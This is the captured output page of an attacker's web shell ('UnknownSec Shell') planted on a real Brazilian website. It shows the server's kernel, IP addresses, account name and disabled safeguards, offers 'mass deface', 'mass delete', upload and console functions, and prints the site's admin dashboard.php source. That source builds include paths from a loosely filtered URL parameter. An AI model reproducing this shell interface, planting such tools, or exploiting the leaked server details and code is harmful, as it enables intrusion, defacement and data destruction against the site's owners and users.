tacaruna.espacofacial.com.br

info server
Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.216.239
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE
upload mass deface mass delete console
name : dashboard.php
<?php
ob_start();
session_start();
require '../_app/Config.inc.php';
require '../_cdn/cronjob.php';

$Read = new Read;
$Create = new Create;
$Update = new Update;
$Delete = new Delete;

if (isset($_SESSION['userLogin']) && isset($_SESSION['userLogin']['user_level']) && $_SESSION['userLogin']['user_level'] >= 6) :
    $Read->FullRead("SELECT user_level FROM " . DB_USERS . " WHERE user_id = :user", "user={$_SESSION['userLogin']['user_id']}");
    if (!$Read->getResult() || $Read->getResult()[0]['user_level'] < 6) :
        unset($_SESSION['userLogin']);
        header('Location: ./index.php');
        exit;
    else :
        $Admin = $_SESSION['userLogin'];
        $Admin['user_thumb'] = (!empty($Admin['user_thumb']) && file_exists("../uploads/{$Admin['user_thumb']}") && !is_dir("../uploads/{$Admin['user_thumb']}") ? $Admin['user_thumb'] : '../admin/_img/no_avatar.jpg');
        $DashboardLogin = true;
    endif;
else :
    unset($_SESSION['userLogin']);
    header('Location: ./index.php');
    exit;
endif;

$AdminLogOff = filter_input(INPUT_GET, 'logoff', FILTER_VALIDATE_BOOLEAN);
if ($AdminLogOff) :
    $_SESSION['trigger_login'] = Erro("<b>LOGOFF:</b> Olá {$Admin['user_name']}, você desconectou com sucesso do " . ADMIN_NAME . ", volte logo!");
    unset($_SESSION['userLogin']);
    header('Location: ./index.php');
    exit;
endif;

$getViewInput = filter_input(INPUT_GET, 'wc', FILTER_DEFAULT);
$getView = ($getViewInput == 'home' ? 'home' . ADMIN_MODE : $getViewInput);

//SITEMAP GENERATE (1X DAY)
$SiteMapCheck = fopen('sitemap.txt', "a+");
$SiteMapCheckDate = fgets($SiteMapCheck);
if ($SiteMapCheckDate != date('Y-m-d')) :
    $SiteMapCheck = fopen('sitemap.txt', "w");
    fwrite($SiteMapCheck, date('Y-m-d'));
    fclose($SiteMapCheck);

    $SiteMap = new Sitemap;
    $SiteMap->exeSitemap(DB_AUTO_PING);
endif;
?>
<!DOCTYPE html>
<html lang="pt-br">

<head>
    <meta charset="UTF-8">
    <title><?= ADMIN_NAME; ?> - <?= SITE_NAME; ?></title>
    <meta name="description" content="<?= ADMIN_DESC; ?>" />
    <meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0">
    <meta name="robots" content="noindex, nofollow" />

    <link href='https://fonts.googleapis.com/css?family=Open+Sans:300,400,600,700,800' rel='stylesheet' type='text/css'>
    <link href='https://fonts.googleapis.com/css?family=Source+Code+Pro:300,500' rel='stylesheet' type='text/css'>
    <link rel="base" href="<?= BASE; ?>/admin/">
    <link rel="icon" href="<?= INCLUDE_PATH; ?>/images/favicon.ico">

    <link rel="stylesheet" href="../_cdn/datepicker/datepicker.min.css" />
    <link rel="stylesheet" href="_css/reset.css" />
    <link rel="stylesheet" href="_css/workcontrol.css" />
    <link rel="stylesheet" href="_css/workcontrol-860.css" media="screen and (max-width: 860px)" />
    <link rel="stylesheet" href="_css/workcontrol-480.css" media="screen and (max-width: 480px)" />
    <link rel="stylesheet" href="../_cdn/bootcss/fonticon.css" />

    <script src="../_cdn/jquery.js"></script>
    <script src="../_cdn/jquery.form.js"></script>
    <script src="_js/workcontrol.js"></script>

    <script src="_js/tinymce/tinymce.min.js"></script>
    <script src="_js/maskinput.js"></script>
    <script src="_js/workplugins.js"></script>

    <script src="../_cdn/highcharts.js"></script>
    <script src="../_cdn/datepicker/datepicker.min.js"></script>
    <script src="../_cdn/datepicker/datepicker.pt-BR.js"></script>
</head>

<body class="dashboard_main">
    <div class="workcontrol_upload workcontrol_loadmodal">
        <div class="workcontrol_upload_bar">
            <img class="m_botton" width="50" src="_img/load_w.gif" alt="Processando requisição!" title="Processando requisição!" />
            <p><span class="workcontrol_upload_progrees">0%</span> - Processando requisição!</p>
        </div>
    </div>

    <div class="dashboard_fix">
        <?php
        if (isset($_SESSION['trigger_controll'])) :
            echo "<div class='trigger_modal' style='display: block'>";
            Erro("<span class='icon-warning'>{$_SESSION['trigger_controll']}</span>", E_USER_ERROR);
            echo "</div>";
            unset($_SESSION['trigger_controll']);
        endif;
        ?>

        <nav class="dashboard_nav">
            <div class="dashboard_nav_admin">
                <img class="dashboard_nav_admin_thumb rounded" alt="" title="" src="../tim.php?src=uploads/<?= $Admin['user_thumb']; ?>&w=76&h=76" />
                <p><a href="dashboard.php?wc=<?= (APP_EAD ? 'teach/students_gerent' : 'users/create'); ?>&id=<?= $Admin['user_id']; ?>" title="Meu Perfil"><?= $Admin['user_name']; ?> <?= $Admin['user_lastname']; ?></a></p>
            </div>
            <ul class="dashboard_nav_menu">
                <?php
                require "_sis/wc_menu.php";
                ?>
            </ul>
            <div class="dashboard_nav_normalize"></div>
        </nav>

        <div class="dashboard">
            <?php
            if (file_exists('../DATABASE.sql')) :
                echo "<div>";
                echo Erro("<span class='al_center'><b class='icon-warning'>IMPORTANTE:</b> Para sua segurança delete o arquivo DATABASE.sql da pasta do projeto! <a class='btn btn_yellow' href='dashboard.php?wc=home&database=true' title=''>Deletar Agora!</a></span>", E_USER_ERROR);
                echo "</div>";

                $DeleteDatabase = filter_input(INPUT_GET, 'database', FILTER_VALIDATE_BOOLEAN);
                if ($DeleteDatabase) :
                    unlink('../DATABASE.sql');
                    header('Location: dashboard.php?wc=home');
                    exit;
                endif;
            endif;

            if (!file_exists("../license.txt")) :
                echo "<div>";
                echo Erro("<span class='al_center'><b class='icon-warning'>ATENÇÃO:</b> O license.txt não está presente na raiz do projeto. Utilizar o Espaço Facial® sem esse arquivo caracteriza cópia não licenciada.", E_USER_ERROR);
                echo "</div>";
            endif;

            if (ADMIN_MAINTENANCE) :
                echo "<div>";
                echo Erro("<span class='al_center'><b class='icon-warning'>IMPORTANTE:</b> O modo de manutenção está ativo. Somente usuários administradores podem ver o site assim!</span>", E_USER_ERROR);
                echo "</div>";
            endif;

            //DB TEST
            $Read->FullRead("SELECT VERSION() as mysql_version");
            if ($Read->getResult()) :
                $MysqlVersion = $Read->getResult()[0]['mysql_version'];
                if (!stripos($MysqlVersion, "MariaDB")) :
                    echo "<div>";
                    echo Erro('<span class="al_center"><b class="icon-warning">ATENÇÃO:</b> O Espaço Facial® foi projetado com <b>banco de dados MariaDB superior a 10.1</b>, você está usando ' . $MysqlVersion . '!</span>', E_USER_ERROR);
                    echo "</div>";
                endif;
            endif;

            //PHP TEST
            $PHPVersion = phpversion();
            if ($PHPVersion < '5.6') :
                echo "<div>";
                echo Erro('<span class="al_center"><b class="icon-warning">ATENÇÃO:</b> O Espaço Facial® foi projetado com <b>PHP 5.6 ou superior</b>, a versão do seu PHP é ' . $PHPVersion . '!</span>', E_USER_ERROR);
                echo "</div>";
            endif;
            ?>
            <div class="dashboard_sidebar">
                <span class="mobile_menu btn btn_blue icon-menu icon-notext"></span>
                <div class="fl_right">
                    <span class="dashboard_sidebar_welcome m_right">Bem-vindo(a) ao <?= ADMIN_NAME; ?>, Hoje <?= date('d/m/y H\hi'); ?></span>
                    <a class="icon-exit btn btn_red" title="Desconectar do <?= ADMIN_NAME; ?>!" href="dashboard.php?wc=home&logoff=true">Sair!</a>
                </div>
            </div>

            <?php
            //QUERY STRING
            if (!empty($getView)) :
                $includepatch = __DIR__ . '/_sis/' . strip_tags(trim($getView)) . '.php';
            else :
                $includepatch = __DIR__ . '/_sis/' . 'dashboard.php';
            endif;

            if (file_exists(__DIR__ . "/_sis/" . strip_tags(trim($getView)) . '.php')) :
                require_once __DIR__ . "/_sis/" . strip_tags(trim($getView)) . '.php';
            elseif (file_exists($includepatch)) :
                require_once($includepatch);
            else :
                $_SESSION['trigger_controll'] = "<b>OPPSSS:</b> <span class='fontred'>_sis/{$getView}.php</span> ainda está em contrução!";
                header('Location: dashboard.php?wc=home');
                exit;
            endif;
            ?>
        </div>
    </div>
</body>

</html>
<?php
ob_end_flush();
UnknownSec Shell
